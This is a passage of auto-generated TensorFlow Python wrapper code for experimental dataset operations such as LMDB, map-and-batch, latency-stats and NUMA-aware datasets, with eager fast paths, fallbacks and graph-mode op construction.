experimental_lmdb_dataset(filenames=filenames, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalLMDBDataset.__doc__ = experimental_lmdb_dataset.__doc__ ExperimentalLMDBDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalLMDBDataset)) tf_export("raw_ops.ExperimentalLMDBDataset")(ExperimentalLMDBDataset) def experimental_lmdb_dataset_eager_fallback(filenames, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_lmdb_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_lmdb_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_lmdb_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] filenames = _ops.convert_to_tensor(filenames, _dtypes.string) _inputs_flat = [filenames] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalLMDBDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalLMDBDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_latency_stats_dataset(input_dataset, tag, output_types, output_shapes, name=None): r"""Records the latency of producing `input_dataset` elements in a StatsAggregator. Args: input_dataset: A `Tensor` of type `variant`. tag: A `Tensor` of type `string`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalLatencyStatsDataset", name, _ctx._post_execution_callbacks, input_dataset, tag, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_latency_stats_dataset_eager_fallback( input_dataset, tag, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_latency_stats_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_latency_stats_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalLatencyStatsDataset", input_dataset=input_dataset, tag=tag, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalLatencyStatsDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalLatencyStatsDataset(input_dataset, tag, output_types, output_shapes, name=None): return experimental_latency_stats_dataset(input_dataset=input_dataset, tag=tag, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalLatencyStatsDataset.__doc__ = experimental_latency_stats_dataset.__doc__ ExperimentalLatencyStatsDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalLatencyStatsDataset)) tf_export("raw_ops.ExperimentalLatencyStatsDataset")(ExperimentalLatencyStatsDataset) def experimental_latency_stats_dataset_eager_fallback(input_dataset, tag, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_latency_stats_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_latency_stats_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_latency_stats_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) tag = _ops.convert_to_tensor(tag, _dtypes.string) _inputs_flat = [input_dataset, tag] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalLatencyStatsDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalLatencyStatsDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_map_and_batch_dataset(input_dataset, other_arguments, batch_size, num_parallel_calls, drop_remainder, f, output_types, output_shapes, preserve_cardinality=False, name=None): r"""Creates a dataset that fuses mapping with batching. Creates a dataset that applies `f` to the outputs of `input_dataset` and then batches `batch_size` of them. Unlike a "MapDataset", which applies `f` sequentially, this dataset invokes up to `batch_size * num_parallel_batches` copies of `f` in parallel. Args: input_dataset: A `Tensor` of type `variant`. A variant tensor representing the input dataset. other_arguments: A list of `Tensor` objects. A list of tensors, typically values that were captured when building a closure for `f`. batch_size: A `Tensor` of type `int64`. A scalar representing the number of elements to accumulate in a batch. It determines the number of concurrent invocations of `f` that process elements from `input_dataset` in parallel. num_parallel_calls: A `Tensor` of type `int64`. A scalar representing the maximum number of parallel invocations of the `map_fn` function. Applying the `map_fn` on consecutive input elements in parallel has the potential to improve input pipeline throughput. drop_remainder: A `Tensor` of type `bool`. A scalar representing whether the last batch should be dropped in case its size is smaller than desired. f: A function decorated with @Defun. A function to apply to the outputs of `input_dataset`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. preserve_cardinality: An optional `bool`. Defaults to `False`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalMapAndBatchDataset", name, _ctx._post_execution_callbacks, input_dataset, other_arguments, batch_size, num_parallel_calls, drop_remainder, "f", f, "output_types", output_types, "output_shapes", output_shapes, "preserve_cardinality", preserve_cardinality) return _result except _core._FallbackException: try: return experimental_map_and_batch_dataset_eager_fallback( input_dataset, other_arguments, batch_size, num_parallel_calls, drop_remainder, f=f, output_types=output_types, output_shapes=output_shapes, preserve_cardinality=preserve_cardinality, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_map_and_batch_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_map_and_batch_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] if preserve_cardinality is None: preserve_cardinality = False preserve_cardinality = _execute.make_bool(preserve_cardinality, "preserve_cardinality") _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalMapAndBatchDataset", input_dataset=input_dataset, other_arguments=other_arguments, batch_size=batch_size, num_parallel_calls=num_parallel_calls, drop_remainder=drop_remainder, f=f, output_types=output_types, output_shapes=output_shapes, preserve_cardinality=preserve_cardinality, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("f", _op.get_attr("f"), "Targuments", _op.get_attr("Targuments"), "output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes"), "preserve_cardinality", _op.get_attr("preserve_cardinality")) _execute.record_gradient( "ExperimentalMapAndBatchDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalMapAndBatchDataset(input_dataset, other_arguments, batch_size, num_parallel_calls, drop_remainder, f, output_types, output_shapes, preserve_cardinality=False, name=None): return experimental_map_and_batch_dataset(input_dataset=input_dataset, other_arguments=other_arguments, batch_size=batch_size, num_parallel_calls=num_parallel_calls, drop_remainder=drop_remainder, f=f, output_types=output_types, output_shapes=output_shapes, preserve_cardinality=preserve_cardinality, name=name) ExperimentalMapAndBatchDataset.__doc__ = experimental_map_and_batch_dataset.__doc__ ExperimentalMapAndBatchDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalMapAndBatchDataset)) tf_export("raw_ops.ExperimentalMapAndBatchDataset")(ExperimentalMapAndBatchDataset) def experimental_map_and_batch_dataset_eager_fallback(input_dataset, other_arguments, batch_size, num_parallel_calls, drop_remainder, f, output_types, output_shapes, preserve_cardinality=False, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_map_and_batch_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_map_and_batch_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_map_and_batch_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] if preserve_cardinality is None: preserve_cardinality = False preserve_cardinality = _execute.make_bool(preserve_cardinality, "preserve_cardinality") _attr_Targuments, other_arguments = _execute.convert_to_mixed_eager_tensors(other_arguments, _ctx) input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) batch_size = _ops.convert_to_tensor(batch_size, _dtypes.int64) num_parallel_calls = _ops.convert_to_tensor(num_parallel_calls, _dtypes.int64) drop_remainder = _ops.convert_to_tensor(drop_remainder, _dtypes.bool) _inputs_flat = [input_dataset] + list(other_arguments) + [batch_size, num_parallel_calls, drop_remainder] _attrs = ("f", f, "Targuments", _attr_Targuments, "output_types", output_types, "output_shapes", output_shapes, "preserve_cardinality", preserve_cardinality) _result = _execute.execute(b"ExperimentalMapAndBatchDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalMapAndBatchDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_map_dataset(input_dataset, other_arguments, f, output_types, output_shapes, use_inter_op_parallelism=True, preserve_cardinality=False, name=None): r"""Creates a dataset that applies `f` to the outputs of `input_dataset`. Args: input_dataset: A `Tensor` of type `variant`. other_arguments: A list of `Tensor` objects. f: A function decorated with @Defun. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. use_inter_op_parallelism: An optional `bool`. Defaults to `True`. preserve_cardinality: An optional `bool`. Defaults to `False`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalMapDataset", name, _ctx._post_execution_callbacks, input_dataset, other_arguments, "f", f, "output_types", output_types, "output_shapes", output_shapes, "use_inter_op_parallelism", use_inter_op_parallelism, "preserve_cardinality", preserve_cardinality) return _result except _core._FallbackException: try: return experimental_map_dataset_eager_fallback( input_dataset, other_arguments, f=f, output_types=output_types, output_shapes=output_shapes, use_inter_op_parallelism=use_inter_op_parallelism, preserve_cardinality=preserve_cardinality, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_map_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_map_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] if use_inter_op_parallelism is None: use_inter_op_parallelism = True use_inter_op_parallelism = _execute.make_bool(use_inter_op_parallelism, "use_inter_op_parallelism") if preserve_cardinality is None: preserve_cardinality = False preserve_cardinality = _execute.make_bool(preserve_cardinality, "preserve_cardinality") _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalMapDataset", input_dataset=input_dataset, other_arguments=other_arguments, f=f, output_types=output_types, output_shapes=output_shapes, use_inter_op_parallelism=use_inter_op_parallelism, preserve_cardinality=preserve_cardinality, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("f", _op.get_attr("f"), "Targuments", _op.get_attr("Targuments"), "output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes"), "use_inter_op_parallelism", _op.get_attr("use_inter_op_parallelism"), "preserve_cardinality", _op.get_attr("preserve_cardinality")) _execute.record_gradient( "ExperimentalMapDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalMapDataset(input_dataset, other_arguments, f, output_types, output_shapes, use_inter_op_parallelism=True, preserve_cardinality=False, name=None): return experimental_map_dataset(input_dataset=input_dataset, other_arguments=other_arguments, f=f, output_types=output_types, output_shapes=output_shapes, use_inter_op_parallelism=use_inter_op_parallelism, preserve_cardinality=preserve_cardinality, name=name) ExperimentalMapDataset.__doc__ = experimental_map_dataset.__doc__ ExperimentalMapDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalMapDataset)) tf_export("raw_ops.ExperimentalMapDataset")(ExperimentalMapDataset) def experimental_map_dataset_eager_fallback(input_dataset, other_arguments, f, output_types, output_shapes, use_inter_op_parallelism=True, preserve_cardinality=False, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_map_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_map_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_map_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] if use_inter_op_parallelism is None: use_inter_op_parallelism = True use_inter_op_parallelism = _execute.make_bool(use_inter_op_parallelism, "use_inter_op_parallelism") if preserve_cardinality is None: preserve_cardinality = False preserve_cardinality = _execute.make_bool(preserve_cardinality, "preserve_cardinality") _attr_Targuments, other_arguments = _execute.convert_to_mixed_eager_tensors(other_arguments, _ctx) input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) _inputs_flat = [input_dataset] + list(other_arguments) _attrs = ("f", f, "Targuments", _attr_Targuments, "output_types", output_types, "output_shapes", output_shapes, "use_inter_op_parallelism", use_inter_op_parallelism, "preserve_cardinality", preserve_cardinality) _result = _execute.execute(b"ExperimentalMapDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalMapDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_matching_files_dataset(patterns, name=None): r"""TODO: add doc. Args: patterns: A `Tensor` of type `string`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalMatchingFilesDataset", name, _ctx._post_execution_callbacks, patterns) return _result except _core._FallbackException: try: return experimental_matching_files_dataset_eager_fallback( patterns, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalMatchingFilesDataset", patterns=patterns, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = None _execute.record_gradient( "ExperimentalMatchingFilesDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalMatchingFilesDataset(patterns, name=None): return experimental_matching_files_dataset(patterns=patterns, name=name) ExperimentalMatchingFilesDataset.__doc__ = experimental_matching_files_dataset.__doc__ ExperimentalMatchingFilesDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalMatchingFilesDataset)) tf_export("raw_ops.ExperimentalMatchingFilesDataset")(ExperimentalMatchingFilesDataset) def experimental_matching_files_dataset_eager_fallback(patterns, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_matching_files_dataset """ _ctx = ctx if ctx else _context.context() patterns = _ops.convert_to_tensor(patterns, _dtypes.string) _inputs_flat = [patterns] _attrs = None _result = _execute.execute(b"ExperimentalMatchingFilesDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalMatchingFilesDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_materialized_index_dataset_handle(container, shared_name, output_types, output_shapes, name=None): r"""TODO: add doc. Args: container: A `string`. shared_name: A `string`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `resource`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalMaterializedIndexDatasetHandle", name, _ctx._post_execution_callbacks, "container", container, "shared_name", shared_name, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_materialized_index_dataset_handle_eager_fallback( container=container, shared_name=shared_name, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. container = _execute.make_str(container, "container") shared_name = _execute.make_str(shared_name, "shared_name") if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_materialized_index_dataset_handle' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_materialized_index_dataset_handle' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalMaterializedIndexDatasetHandle", container=container, shared_name=shared_name, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("container", _op.get_attr("container"), "shared_name", _op.get_attr("shared_name"), "output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalMaterializedIndexDatasetHandle", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalMaterializedIndexDatasetHandle(container, shared_name, output_types, output_shapes, name=None): return experimental_materialized_index_dataset_handle(container=container, shared_name=shared_name, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalMaterializedIndexDatasetHandle.__doc__ = experimental_materialized_index_dataset_handle.__doc__ ExperimentalMaterializedIndexDatasetHandle = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalMaterializedIndexDatasetHandle)) tf_export("raw_ops.ExperimentalMaterializedIndexDatasetHandle")(ExperimentalMaterializedIndexDatasetHandle) def experimental_materialized_index_dataset_handle_eager_fallback(container, shared_name, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_materialized_index_dataset_handle """ _ctx = ctx if ctx else _context.context() container = _execute.make_str(container, "container") shared_name = _execute.make_str(shared_name, "shared_name") if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_materialized_index_dataset_handle' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_materialized_index_dataset_handle' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _inputs_flat = [] _attrs = ("container", container, "shared_name", shared_name, "output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalMaterializedIndexDatasetHandle", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalMaterializedIndexDatasetHandle", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_max_intra_op_parallelism_dataset(input_dataset, max_intra_op_parallelism, output_types, output_shapes, name=None): r"""Creates a dataset that overrides the maximum intra-op parallelism. Args: input_dataset: A `Tensor` of type `variant`. max_intra_op_parallelism: A `Tensor` of type `int64`. Identifies the maximum intra-op parallelism to use. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalMaxIntraOpParallelismDataset", name, _ctx._post_execution_callbacks, input_dataset, max_intra_op_parallelism, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_max_intra_op_parallelism_dataset_eager_fallback( input_dataset, max_intra_op_parallelism, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_max_intra_op_parallelism_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_max_intra_op_parallelism_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalMaxIntraOpParallelismDataset", input_dataset=input_dataset, max_intra_op_parallelism=max_intra_op_parallelism, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalMaxIntraOpParallelismDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalMaxIntraOpParallelismDataset(input_dataset, max_intra_op_parallelism, output_types, output_shapes, name=None): return experimental_max_intra_op_parallelism_dataset(input_dataset=input_dataset, max_intra_op_parallelism=max_intra_op_parallelism, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalMaxIntraOpParallelismDataset.__doc__ = experimental_max_intra_op_parallelism_dataset.__doc__ ExperimentalMaxIntraOpParallelismDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalMaxIntraOpParallelismDataset)) tf_export("raw_ops.ExperimentalMaxIntraOpParallelismDataset")(ExperimentalMaxIntraOpParallelismDataset) def experimental_max_intra_op_parallelism_dataset_eager_fallback(input_dataset, max_intra_op_parallelism, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_max_intra_op_parallelism_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_max_intra_op_parallelism_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_max_intra_op_parallelism_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) max_intra_op_parallelism = _ops.convert_to_tensor(max_intra_op_parallelism, _dtypes.int64) _inputs_flat = [input_dataset, max_intra_op_parallelism] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalMaxIntraOpParallelismDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalMaxIntraOpParallelismDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_non_serializable_dataset(input_dataset, output_types, output_shapes, name=None): r"""TODO: add doc. Args: input_dataset: A `Tensor` of type `variant`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalNonSerializableDataset", name, _ctx._post_execution_callbacks, input_dataset, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_non_serializable_dataset_eager_fallback( input_dataset, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_non_serializable_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_non_serializable_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalNonSerializableDataset", input_dataset=input_dataset, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalNonSerializableDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalNonSerializableDataset(input_dataset, output_types, output_shapes, name=None): return experimental_non_serializable_dataset(input_dataset=input_dataset, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalNonSerializableDataset.__doc__ = experimental_non_serializable_dataset.__doc__ ExperimentalNonSerializableDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalNonSerializableDataset)) tf_export("raw_ops.ExperimentalNonSerializableDataset")(ExperimentalNonSerializableDataset) def experimental_non_serializable_dataset_eager_fallback(input_dataset, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_non_serializable_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_non_serializable_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_non_serializable_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) _inputs_flat = [input_dataset] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalNonSerializableDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalNonSerializableDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_numa_map_and_batch_dataset(input_dataset, other_arguments, batch_size, num_parallel_calls, drop_remainder, f, output_types, output_shapes, preserve_cardinality=False, name=None): r"""Creates a dataset that fuses mapping with batching. Creates a dataset that applies `f` to the outputs of `input_dataset` and then batches `batch_size` of them. Unlike a "MapDataset", which applies `f` sequentially, this dataset invokes up to `batch_size * num_parallel_batches` copies of `f` in parallel. Unlike "MapAndBatchDatasetV2", this dataset uses a NUMA-aware thread scheduling policy. Because it uses the single-threaded executor, it only supports the function-based control flow ops. Args: input_dataset: A `Tensor` of type `variant`. A variant tensor representing the input dataset. other_arguments: A list of `Tensor` objects. A list of tensors, typically values that were captured when building a closure for `f`. batch_size: A `Tensor` of type `int64`. A scalar representing the number of elements to accumulate in a batch. It determines the number of concurrent invocations of `f` that process elements from `input_dataset` in parallel. num_parallel_calls: A `Tensor` of type `int64`. A scalar representing the maximum number of parallel invocations of the `map_fn` function. Applying the `map_fn` on consecutive input elements in parallel has the potential to improve input pipeline throughput. drop_remainder: A `Tensor` of type `bool`. A scalar representing whether the last batch should be dropped in case its size is smaller than desired. f: A function decorated with @Defun. A function to apply to the 